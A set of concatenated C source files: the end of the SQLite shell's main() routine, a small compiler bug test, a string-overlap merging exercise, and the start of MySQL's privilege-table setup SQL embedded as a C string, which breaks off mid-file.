if( isatty(0) && isatty(2) ){
fprintf(stderr,
"attach debugger to process %d and press any key to continue.\n",
GETPID());
fgetc(stdin);
}else{
#if defined(_WIN32) || defined(WIN32)
#if SQLITE_OS_WINRT
__debugbreak();
#else
DebugBreak();
#endif
#elif defined(SIGTRAP)
raise(SIGTRAP);
#endif
}
}
#endif
#if USE_SYSTEM_SQLITE+0!=1
if( strncmp(sqlite3_sourceid(),SQLITE_SOURCE_ID,60)!=0 ){
utf8_printf(stderr, "SQLite header and source version mismatch\n%s\n%s\n",
sqlite3_sourceid(), SQLITE_SOURCE_ID);
exit(1);
}
#endif
main_init(&data);
/* On Windows, we must translate command-line arguments into UTF-8.
** The SQLite memory allocator subsystem has to be enabled in order to
** do this. But we want to run an sqlite3_shutdown() afterwards so that
** subsequent sqlite3_config() calls will work. So copy all results into
** memory that does not come from the SQLite memory allocator.
*/
#if !SQLITE_SHELL_IS_UTF8
sqlite3_initialize();
argvToFree = malloc(sizeof(argv[0])*argc*2);
argcToFree = argc;
argv = argvToFree + argc;
if( argv==0 ) shell_out_of_memory();
for(i=0; i<argc; i++){
char *z = sqlite3_win32_unicode_to_utf8(wargv[i]);
int n;
if( z==0 ) shell_out_of_memory();
n = (int)strlen(z);
argv[i] = malloc( n+1 );
if( argv[i]==0 ) shell_out_of_memory();
memcpy(argv[i], z, n+1);
argvToFree[i] = argv[i];
sqlite3_free(z);
}
sqlite3_shutdown();
#endif
assert( argc>=1 && argv && argv[0] );
Argv0 = argv[0];
/* Make sure we have a valid signal handler early, before anything
** else is done.
*/
#ifdef SIGINT
signal(SIGINT, interrupt_handler);
#elif (defined(_WIN32) || defined(WIN32)) && !defined(_WIN32_WCE)
SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE);
#endif
#ifdef SQLITE_SHELL_DBNAME_PROC
{
/* If the SQLITE_SHELL_DBNAME_PROC macro is defined, then it is the name
** of a C-function that will provide the name of the database file. Use
** this compile-time option to embed this shell program in larger
** applications. */
extern void SQLITE_SHELL_DBNAME_PROC(const char**);
SQLITE_SHELL_DBNAME_PROC(&data.zDbFilename);
warnInmemoryDb = 0;
}
#endif
/* Do an initial pass through the command-line argument to locate
** the name of the database file, the name of the initialization file,
** the size of the alternative malloc heap,
** and the first command to execute.
*/
verify_uninitialized();
for(i=1; i<argc; i++){
char *z;
z = argv[i];
if( z[0]!='-' ){
if( data.zDbFilename==0 ){
data.zDbFilename = z;
}else{
/* Excesss arguments are interpreted as SQL (or dot-commands) and
** mean that nothing is read from stdin */
readStdin = 0;
nCmd++;
azCmd = realloc(azCmd, sizeof(azCmd[0])*nCmd);
if( azCmd==0 ) shell_out_of_memory();
azCmd[nCmd-1] = z;
}
}
if( z[1]=='-' ) z++;
if( strcmp(z,"-separator")==0
|| strcmp(z,"-nullvalue")==0
|| strcmp(z,"-newline")==0
|| strcmp(z,"-cmd")==0
){
(void)cmdline_option_value(argc, argv, ++i);
}else if( strcmp(z,"-init")==0 ){
zInitFile = cmdline_option_value(argc, argv, ++i);
}else if( strcmp(z,"-batch")==0 ){
/* Need to check for batch mode here to so we can avoid printing
** informational messages (like from process_sqliterc) before
** we do the actual processing of arguments later in a second pass.
*/
stdin_is_interactive = 0;
}else if( strcmp(z,"-heap")==0 ){
#if defined(SQLITE_ENABLE_MEMSYS3) || defined(SQLITE_ENABLE_MEMSYS5)
const char *zSize;
sqlite3_int64 szHeap;
zSize = cmdline_option_value(argc, argv, ++i);
szHeap = integerValue(zSize);
if( szHeap>0x7fff0000 ) szHeap = 0x7fff0000;
sqlite3_config(SQLITE_CONFIG_HEAP, malloc((int)szHeap), (int)szHeap, 64);
#else
(void)cmdline_option_value(argc, argv, ++i);
#endif
}else if( strcmp(z,"-pagecache")==0 ){
sqlite3_int64 n, sz;
sz = integerValue(cmdline_option_value(argc,argv,++i));
if( sz>70000 ) sz = 70000;
if( sz<0 ) sz = 0;
n = integerValue(cmdline_option_value(argc,argv,++i));
if( sz>0 && n>0 && 0xffffffffffffLL/sz<n ){
n = 0xffffffffffffLL/sz;
}
sqlite3_config(SQLITE_CONFIG_PAGECACHE,
(n>0 && sz>0) ? malloc(n*sz) : 0, sz, n);
data.shellFlgs |= SHFLG_Pagecache;
}else if( strcmp(z,"-lookaside")==0 ){
int n, sz;
sz = (int)integerValue(cmdline_option_value(argc,argv,++i));
if( sz<0 ) sz = 0;
n = (int)integerValue(cmdline_option_value(argc,argv,++i));
if( n<0 ) n = 0;
sqlite3_config(SQLITE_CONFIG_LOOKASIDE, sz, n);
if( sz*n==0 ) data.shellFlgs &= ~SHFLG_Lookaside;
#ifdef SQLITE_ENABLE_VFSTRACE
}else if( strcmp(z,"-vfstrace")==0 ){
extern int vfstrace_register(
const char *zTraceName,
const char *zOldVfsName,
int (*xOut)(const char*,void*),
void *pOutArg,
int makeDefault
);
vfstrace_register("trace",0,(int(*)(const char*,void*))fputs,stderr,1);
#endif
#ifdef SQLITE_ENABLE_MULTIPLEX
}else if( strcmp(z,"-multiplex")==0 ){
extern int sqlite3_multiple_initialize(const char*,int);
sqlite3_multiplex_initialize(0, 1);
#endif
}else if( strcmp(z,"-mmap")==0 ){
sqlite3_int64 sz = integerValue(cmdline_option_value(argc,argv,++i));
sqlite3_config(SQLITE_CONFIG_MMAP_SIZE, sz, sz);
#ifdef SQLITE_ENABLE_SORTER_REFERENCES
}else if( strcmp(z,"-sorterref")==0 ){
sqlite3_int64 sz = integerValue(cmdline_option_value(argc,argv,++i));
sqlite3_config(SQLITE_CONFIG_SORTERREF_SIZE, (int)sz);
#endif
}else if( strcmp(z,"-vfs")==0 ){
zVfs = cmdline_option_value(argc, argv, ++i);
#ifdef SQLITE_HAVE_ZLIB
}else if( strcmp(z,"-zip")==0 ){
data.openMode = SHELL_OPEN_ZIPFILE;
#endif
}else if( strcmp(z,"-append")==0 ){
data.openMode = SHELL_OPEN_APPENDVFS;
#ifndef SQLITE_OMIT_DESERIALIZE
}else if( strcmp(z,"-deserialize")==0 ){
data.openMode = SHELL_OPEN_DESERIALIZE;
}else if( strcmp(z,"-maxsize")==0 && i+1<argc ){
data.szMax = integerValue(argv[++i]);
#endif
}else if( strcmp(z,"-readonly")==0 ){
data.openMode = SHELL_OPEN_READONLY;
}else if( strcmp(z,"-nofollow")==0 ){
data.openFlags = SQLITE_OPEN_NOFOLLOW;
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_HAVE_ZLIB)
}else if( strncmp(z, "-A",2)==0 ){
/* All remaining command-line arguments are passed to the ".archive"
** command, so ignore them */
break;
#endif
}else if( strcmp(z, "-memtrace")==0 ){
sqlite3MemTraceActivate(stderr);
}else if( strcmp(z,"-bail")==0 ){
bail_on_error = 1;
}
}
verify_uninitialized();
#ifdef SQLITE_SHELL_INIT_PROC
{
/* If the SQLITE_SHELL_INIT_PROC macro is defined, then it is the name
** of a C-function that will perform initialization actions on SQLite that
** occur just before or after sqlite3_initialize(). Use this compile-time
** option to embed this shell program in larger applications. */
extern void SQLITE_SHELL_INIT_PROC(void);
SQLITE_SHELL_INIT_PROC();
}
#else
/* All the sqlite3_config() calls have now been made. So it is safe
** to call sqlite3_initialize() and process any command line -vfs option. */
sqlite3_initialize();
#endif
if( zVfs ){
sqlite3_vfs *pVfs = sqlite3_vfs_find(zVfs);
if( pVfs ){
sqlite3_vfs_register(pVfs, 1);
}else{
utf8_printf(stderr, "no such VFS: \"%s\"\n", argv[i]);
exit(1);
}
}
if( data.zDbFilename==0 ){
#ifndef SQLITE_OMIT_MEMORYDB
data.zDbFilename = ":memory:";
warnInmemoryDb = argc==1;
#else
utf8_printf(stderr,"%s: Error: no database filename specified\n", Argv0);
return 1;
#endif
}
data.out = stdout;
sqlite3_appendvfs_init(0,0,0);
/* Go ahead and open the database file if it already exists. If the
** file does not exist, delay opening it. This prevents empty database
** files from being created if a user mistypes the database name argument
** to the sqlite command-line tool.
*/
if( access(data.zDbFilename, 0)==0 ){
open_db(&data, 0);
}
/* Process the initialization file if there is one. If no -init option
** is given on the command line, look for a file named ~/.sqliterc and
** try to process it.
*/
process_sqliterc(&data,zInitFile);
/* Make a second pass through the command-line argument and set
** options. This second pass is delayed until after the initialization
** file is processed so that the command-line arguments will override
** settings in the initialization file.
*/
for(i=1; i<argc; i++){
char *z = argv[i];
if( z[0]!='-' ) continue;
if( z[1]=='-' ){ z++; }
if( strcmp(z,"-init")==0 ){
i++;
}else if( strcmp(z,"-html")==0 ){
data.mode = MODE_Html;
}else if( strcmp(z,"-list")==0 ){
data.mode = MODE_List;
}else if( strcmp(z,"-quote")==0 ){
data.mode = MODE_Quote;
sqlite3_snprintf(sizeof(data.colSeparator), data.colSeparator, SEP_Comma);
sqlite3_snprintf(sizeof(data.rowSeparator), data.rowSeparator, SEP_Row);
}else if( strcmp(z,"-line")==0 ){
data.mode = MODE_Line;
}else if( strcmp(z,"-column")==0 ){
data.mode = MODE_Column;
}else if( strcmp(z,"-json")==0 ){
data.mode = MODE_Json;
}else if( strcmp(z,"-markdown")==0 ){
data.mode = MODE_Markdown;
}else if( strcmp(z,"-table")==0 ){
data.mode = MODE_Table;
}else if( strcmp(z,"-box")==0 ){
data.mode = MODE_Box;
}else if( strcmp(z,"-csv")==0 ){
data.mode = MODE_Csv;
memcpy(data.colSeparator,",",2);
#ifdef SQLITE_HAVE_ZLIB
}else if( strcmp(z,"-zip")==0 ){
data.openMode = SHELL_OPEN_ZIPFILE;
#endif
}else if( strcmp(z,"-append")==0 ){
data.openMode = SHELL_OPEN_APPENDVFS;
#ifndef SQLITE_OMIT_DESERIALIZE
}else if( strcmp(z,"-deserialize")==0 ){
data.openMode = SHELL_OPEN_DESERIALIZE;
}else if( strcmp(z,"-maxsize")==0 && i+1<argc ){
data.szMax = integerValue(argv[++i]);
#endif
}else if( strcmp(z,"-readonly")==0 ){
data.openMode = SHELL_OPEN_READONLY;
}else if( strcmp(z,"-nofollow")==0 ){
data.openFlags |= SQLITE_OPEN_NOFOLLOW;
}else if( strcmp(z,"-ascii")==0 ){
data.mode = MODE_Ascii;
sqlite3_snprintf(sizeof(data.colSeparator), data.colSeparator, SEP_Unit);
sqlite3_snprintf(sizeof(data.rowSeparator), data.rowSeparator, SEP_Record);
}else if( strcmp(z,"-tabs")==0 ){
data.mode = MODE_List;
sqlite3_snprintf(sizeof(data.colSeparator), data.colSeparator, SEP_Tab);
sqlite3_snprintf(sizeof(data.rowSeparator), data.rowSeparator, SEP_Row);
}else if( strcmp(z,"-separator")==0 ){
sqlite3_snprintf(sizeof(data.colSeparator), data.colSeparator,
"%s",cmdline_option_value(argc,argv,++i));
}else if( strcmp(z,"-newline")==0 ){
sqlite3_snprintf(sizeof(data.rowSeparator), data.rowSeparator,
"%s",cmdline_option_value(argc,argv,++i));
}else if( strcmp(z,"-nullvalue")==0 ){
sqlite3_snprintf(sizeof(data.nullValue), data.nullValue,
"%s",cmdline_option_value(argc,argv,++i));
}else if( strcmp(z,"-header")==0 ){
data.showHeader = 1;
}else if( strcmp(z,"-noheader")==0 ){
data.showHeader = 0;
}else if( strcmp(z,"-echo")==0 ){
ShellSetFlag(&data, SHFLG_Echo);
}else if( strcmp(z,"-eqp")==0 ){
data.autoEQP = AUTOEQP_on;
}else if( strcmp(z,"-eqpfull")==0 ){
data.autoEQP = AUTOEQP_full;
}else if( strcmp(z,"-stats")==0 ){
data.statsOn = 1;
}else if( strcmp(z,"-scanstats")==0 ){
data.scanstatsOn = 1;
}else if( strcmp(z,"-backslash")==0 ){
/* Undocumented command-line option: -backslash
** Causes C-style backslash escapes to be evaluated in SQL statements
** prior to sending the SQL into SQLite. Useful for injecting
** crazy bytes in the middle of SQL statements for testing and debugging.
*/
ShellSetFlag(&data, SHFLG_Backslash);
}else if( strcmp(z,"-bail")==0 ){
/* No-op. The bail_on_error flag should already be set. */
}else if( strcmp(z,"-version")==0 ){
printf("%s %s\n", sqlite3_libversion(), sqlite3_sourceid());
return 0;
}else if( strcmp(z,"-interactive")==0 ){
stdin_is_interactive = 1;
}else if( strcmp(z,"-batch")==0 ){
stdin_is_interactive = 0;
}else if( strcmp(z,"-heap")==0 ){
i++;
}else if( strcmp(z,"-pagecache")==0 ){
i+=2;
}else if( strcmp(z,"-lookaside")==0 ){
i+=2;
}else if( strcmp(z,"-mmap")==0 ){
i++;
}else if( strcmp(z,"-memtrace")==0 ){
i++;
#ifdef SQLITE_ENABLE_SORTER_REFERENCES
}else if( strcmp(z,"-sorterref")==0 ){
i++;
#endif
}else if( strcmp(z,"-vfs")==0 ){
i++;
#ifdef SQLITE_ENABLE_VFSTRACE
}else if( strcmp(z,"-vfstrace")==0 ){
i++;
#endif
#ifdef SQLITE_ENABLE_MULTIPLEX
}else if( strcmp(z,"-multiplex")==0 ){
i++;
#endif
}else if( strcmp(z,"-help")==0 ){
usage(1);
}else if( strcmp(z,"-cmd")==0 ){
/* Run commands that follow -cmd first and separately from commands
** that simply appear on the command-line. This seems goofy. It would
** be better if all commands ran in the order that they appear. But
** we retain the goofy behavior for historical compatibility. */
if( i==argc-1 ) break;
z = cmdline_option_value(argc,argv,++i);
if( z[0]=='.' ){
rc = do_meta_command(z, &data);
if( rc && bail_on_error ) return rc==2 ? 0 : rc;
}else{
open_db(&data, 0);
rc = shell_exec(&data, z, &zErrMsg);
if( zErrMsg!=0 ){
utf8_printf(stderr,"Error: %s\n", zErrMsg);
if( bail_on_error ) return rc!=0 ? rc : 1;
}else if( rc!=0 ){
utf8_printf(stderr,"Error: unable to process SQL \"%s\"\n", z);
if( bail_on_error ) return rc;
}
}
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_HAVE_ZLIB)
}else if( strncmp(z, "-A", 2)==0 ){
if( nCmd>0 ){
utf8_printf(stderr, "Error: cannot mix regular SQL or dot-commands"
" with \"%s\"\n", z);
return 1;
}
open_db(&data, OPEN_DB_ZIPFILE);
if( z[2] ){
argv[i] = &z[2];
arDotCommand(&data, 1, argv+(i-1), argc-(i-1));
}else{
arDotCommand(&data, 1, argv+i, argc-i);
}
readStdin = 0;
break;
#endif
}else{
utf8_printf(stderr,"%s: Error: unknown option: %s\n", Argv0, z);
raw_printf(stderr,"Use -help for a list of options.\n");
return 1;
}
data.cMode = data.mode;
}
if( !readStdin ){
/* Run all arguments that do not begin with '-' as if they were separate
** command-line inputs, except for the argToSkip argument which contains
** the database filename.
*/
for(i=0; i<nCmd; i++){
if( azCmd[i][0]=='.' ){
rc = do_meta_command(azCmd[i], &data);
if( rc ){
free(azCmd);
return rc==2 ? 0 : rc;
}
}else{
open_db(&data, 0);
rc = shell_exec(&data, azCmd[i], &zErrMsg);
if( zErrMsg || rc ){
if( zErrMsg!=0 ){
utf8_printf(stderr,"Error: %s\n", zErrMsg);
}else{
utf8_printf(stderr,"Error: unable to process SQL: %s\n", azCmd[i]);
}
sqlite3_free(zErrMsg);
free(azCmd);
return rc!=0 ? rc : 1;
}
}
}
}else{
/* Run commands received from standard input
*/
if( stdin_is_interactive ){
char *zHome;
char *zHistory;
int nHistory;
printf(
"SQLite version %s %.19s\n" /*extra-version-info*/
"Enter \".help\" for usage hints.\n",
sqlite3_libversion(), sqlite3_sourceid()
);
if( warnInmemoryDb ){
printf("Connected to a ");
printBold("transient in-memory database");
printf(".\nUse \".open FILENAME\" to reopen on a "
"persistent database.\n");
}
zHistory = getenv("SQLITE_HISTORY");
if( zHistory ){
zHistory = strdup(zHistory);
}else if( (zHome = find_home_dir(0))!=0 ){
nHistory = strlen30(zHome) + 20;
if( (zHistory = malloc(nHistory))!=0 ){
sqlite3_snprintf(nHistory, zHistory,"%s/.sqlite_history", zHome);
}
}
if( zHistory ){ shell_read_history(zHistory); }
#if HAVE_READLINE || HAVE_EDITLINE
rl_attempted_completion_function = readline_completion;
#elif HAVE_LINENOISE
linenoiseSetCompletionCallback(linenoise_completion);
#endif
data.in = 0;
rc = process_input(&data);
if( zHistory ){
shell_stifle_history(2000);
shell_write_history(zHistory);
free(zHistory);
}
}else{
data.in = stdin;
rc = process_input(&data);
}
}
free(azCmd);
set_table_name(&data, 0);
if( data.db ){
session_close_all(&data);
close_db(data.db);
}
sqlite3_free(data.zFreeOnClose);
find_home_dir(1);
output_reset(&data);
data.doXdgOpen = 0;
clearTempFile(&data);
#if !SQLITE_SHELL_IS_UTF8
for(i=0; i<argcToFree; i++) free(argvToFree[i]);
free(argvToFree);
#endif
free(data.colWidth);
/* Clear the global data structure so that valgrind will detect memory
** leaks */
memset(&data, 0, sizeof(data));
return rc;
}
|
the_stack_data/40763682.c | // This is a bug in the unparsed code (without the complete type for the struct).
void foobar()
{
long long_var = 0;
char *p = 0;
p = (char *)(struct incast { int a; int b; } * )p;
long_var = sizeof(struct incast);
}
|
the_stack_data/596019.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
void merge(char *s1, char *s2, int overlap){
int len = strlen(s1);
s1[len - overlap] = '\0';
strcat(s1,s2);
s2[0] = '\0';
}
int overlap(char *s1, char *s2){
int res = 0;
int k = 0;
for (int i = 1; s1[i]; i++){
for (int j = i; s1[j] && s2[k]; j++, k++)
if (s1[j] != s2[k]){
k = 0;
break;
}
if (k > res)
res = k;
k = 0;
}
return res;
}
int main(){
int n = 0;
scanf("%d", &n);
char **mas = (char**) malloc (n * sizeof(char*));
char *tmp;
for (int i = 0; i < n; i++){
mas[i] = (char*) malloc (100 * sizeof(char));
scanf("%s", mas[i]);
}
int m = 1;
int msi = 0;
int msj = 0;
int res = 0;
while (m < n){
int max_overlap = -1;
for (int i = 0; i < n; i++){
for (int j = 0; j < n; j++){
if (i == j && !mas[i][0] && !mas[j][0]) continue;
int current_overlap = overlap(mas[i], mas[j]);
if (current_overlap > max_overlap){
max_overlap = current_overlap;
msi = i;
msj = j;
}
}
}
merge(mas[msi], mas[msj], max_overlap);
res = msi;
m++;
}
printf("%lu\n", strlen(mas[res]));
for (int i = 0; i < n; i++) free(mas[i]);
free(mas);
return 0;
} |
the_stack_data/220456829.c | const char* mysql_fix_privilege_tables={
"-- Copyright (c) 2007, 2008 MySQL AB, 2009 Sun Microsystems, Inc.\n "
"-- Use is subject to license terms.\n "
"-- \n "
"-- This program is free software; you can redistribute it and/or modify\n "
"-- it under the terms of the GNU General Public License as published by\n "
"-- the Free Software Foundation; version 2 of the License.\n "
"-- \n "
"-- This program is distributed in the hope that it will be useful,\n "
"-- but WITHOUT ANY WARRANTY; without even the implied warranty of\n "
"-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n "
"-- GNU General Public License for more details.\n "
"-- \n "
"-- You should have received a copy of the GNU General Public License\n "
"-- along with this program; if not, write to the Free Software\n "
"-- Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n "
"\n "
"--\n "
"-- The system tables of MySQL Server\n "
"--\n "
"\n "
"set sql_mode='';\n "
"set storage_engine=myisam;\n "
"\n "
"CREATE TABLE IF NOT EXISTS db ( Host char(60) binary DEFAULT '' NOT NULL, Db char(64) binary DEFAULT '' NOT NULL, User char(16) binary DEFAULT '' NOT NULL, Select_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Insert_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Update_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Delete_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT"
" NULL, Drop_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Grant_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, References_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Index_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Alter_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT "
"'N' NOT NULL, Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Event_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Trigger_priv enum('N','Y') COLLATE utf8_ge"
"neral_ci DEFAULT 'N' NOT NULL, PRIMARY KEY Host (Host,Db,User), KEY User (User) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='Database privileges';\n "
"\n "
"-- Remember for later if db table already existed\n "
"set @had_db_table= @@warning_count != 0;\n "
"\n "
"CREATE TABLE IF NOT EXISTS host ( Host char(60) binary DEFAULT '' NOT NULL, Db char(64) binary DEFAULT '' NOT NULL, Select_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Insert_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Update_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Delete_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Drop_priv enum('N','Y') COLLATE ut"
"f8_general_ci DEFAULT 'N' NOT NULL, Grant_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, References_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Index_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Alter_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_view_priv enum('N','"
"Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, PRIMARY KEY Host (Host,Db) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin co"
"mment='Host privileges; Merged with database privileges';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS user ( Host char(60) binary DEFAULT '' NOT NULL, User char(16) binary DEFAULT '' NOT NULL, Password char(41) character set latin1 collate latin1_bin DEFAULT '' NOT NULL, Select_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Insert_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Update_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Delete_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_priv enum('N','Y'"
") COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Drop_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Reload_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Shutdown_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Process_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, File_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Grant_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, References_priv enum('N','Y') COL"
"LATE utf8_general_ci DEFAULT 'N' NOT NULL, Index_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Alter_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Show_db_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Super_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Execute_priv enum('N','"
"Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Repl_slave_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Repl_client_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NUL"
"L, Create_user_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Event_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, ssl_type enum('','ANY','X509', 'SPECIFIED') COLLATE utf8_general_ci DEFAULT '' NOT NULL, ssl_cipher BLOB NOT NULL, x509_issuer BLOB NOT NULL, x509_subject BLOB NOT NULL, max_questions int(11) unsigned DEFAULT 0 NOT NULL, max_updates int(11) unsigned DEFAULT 0 NOT NULL, max_connections"
" int(11) unsigned DEFAULT 0 NOT NULL, max_user_connections int(11) unsigned DEFAULT 0 NOT NULL, PRIMARY KEY Host (Host,User) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='Users and global privileges';\n "
"\n "
"-- Remember for later if user table already existed\n "
"set @had_user_table= @@warning_count != 0;\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS func ( name char(64) binary DEFAULT '' NOT NULL, ret tinyint(1) DEFAULT '0' NOT NULL, dl char(128) DEFAULT '' NOT NULL, type enum ('function','aggregate') COLLATE utf8_general_ci NOT NULL, PRIMARY KEY (name) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='User defined functions';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS plugin ( name char(64) binary DEFAULT '' NOT NULL, dl char(128) DEFAULT '' NOT NULL, PRIMARY KEY (name) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='MySQL plugins';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS servers ( Server_name char(64) NOT NULL DEFAULT '', Host char(64) NOT NULL DEFAULT '', Db char(64) NOT NULL DEFAULT '', Username char(64) NOT NULL DEFAULT '', Password char(64) NOT NULL DEFAULT '', Port INT(4) NOT NULL DEFAULT '0', Socket char(64) NOT NULL DEFAULT '', Wrapper char(64) NOT NULL DEFAULT '', Owner char(64) NOT NULL DEFAULT '', PRIMARY KEY (Server_name)) CHARACTER SET utf8 comment='MySQL Foreign Servers table';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS tables_priv ( Host char(60) binary DEFAULT '' NOT NULL, Db char(64) binary DEFAULT '' NOT NULL, User char(16) binary DEFAULT '' NOT NULL, Table_name char(64) binary DEFAULT '' NOT NULL, Grantor char(77) DEFAULT '' NOT NULL, Timestamp timestamp(14), Table_priv set('Select','Insert','Update','Delete','Create','Drop','Grant','References','Index','Alter','Create View','Show view','Trigger') COLLATE utf8_general_ci DEFAULT '' NOT NULL, Column_priv set('Select','Insert','Update','Refer"
"ences') COLLATE utf8_general_ci DEFAULT '' NOT NULL, PRIMARY KEY (Host,Db,User,Table_name), KEY Grantor (Grantor) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='Table privileges';\n "
"\n "
"CREATE TABLE IF NOT EXISTS columns_priv ( Host char(60) binary DEFAULT '' NOT NULL, Db char(64) binary DEFAULT '' NOT NULL, User char(16) binary DEFAULT '' NOT NULL, Table_name char(64) binary DEFAULT '' NOT NULL, Column_name char(64) binary DEFAULT '' NOT NULL, Timestamp timestamp(14), Column_priv set('Select','Insert','Update','References') COLLATE utf8_general_ci DEFAULT '' NOT NULL, PRIMARY KEY (Host,Db,User,Table_name,Column_name) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='Column p"
"rivileges';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS help_topic ( help_topic_id int unsigned not null, name char(64) not null, help_category_id smallint unsigned not null, description text not null, example text not null, url text not null, primary key (help_topic_id), unique index (name) ) engine=MyISAM CHARACTER SET utf8 comment='help topics';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS help_category ( help_category_id smallint unsigned not null, name char(64) not null, parent_category_id smallint unsigned null, url text not null, primary key (help_category_id), unique index (name) ) engine=MyISAM CHARACTER SET utf8 comment='help categories';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS help_relation ( help_topic_id int unsigned not null references help_topic, help_keyword_id int unsigned not null references help_keyword, primary key (help_keyword_id, help_topic_id) ) engine=MyISAM CHARACTER SET utf8 comment='keyword-topic relation';\n "
"\n "
"\n "
